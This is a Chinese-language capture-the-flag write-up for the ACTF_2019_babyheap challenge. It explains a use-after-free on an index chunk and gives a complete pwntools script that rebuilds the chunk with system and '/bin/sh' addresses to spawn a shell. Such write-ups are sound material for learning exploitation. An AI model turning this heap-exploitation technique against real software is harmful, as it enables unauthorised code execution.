这题看名字就知道是堆题,先看保护:
保护除了PIE全开,黑盒测试:
题目提供增删查,没有改。看看IDA中代码逻辑:
逻辑跟我前面做的一题极为相似,就不过多分析。
这是free:
因为题目不能改写got表,但是题目给了system函数地址和bin/sh。因此我们的利用就简单了。直接利用show的调用方式去调用system函数。
我们看看申请三个堆的情况:
圈起来的是索引堆的内容。
漏洞利用:
想办法把索引堆释放并申请回来,在上面布局我们的system(bin/sh)
exp如下:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
io=process('./ACTF_2019_babyheap')
#io=remote('node5.buuoj.cn',29583)
def Create(Size,Content):
io.recvuntil("choice:")
io.sendline("1")
io.recvuntil("size:")
io.sendline(str(Size))
io.recvuntil("content:")
io.sendline(Content)
def Delete(idx):
io.recvuntil("choice:")
io.sendline("2")
io.recvuntil("index:")
io.send(str(idx))
def show(idx):
io.recvuntil("choice:")
io.sendline("3")
io.recvuntil("index:")
io.sendline(str(idx))
system_addr=0x4007a0
binsh_addr=0x602010
#gdb.attach(io)
Create(0x20,'aaaa')
Create(0x20,'aaaa')
Create(0x20,'aaaa')
#pause()
Delete(0)
Delete(1)
Create(0x18, p64(binsh_addr) + p64(system_addr))
show(0)
io.interactive()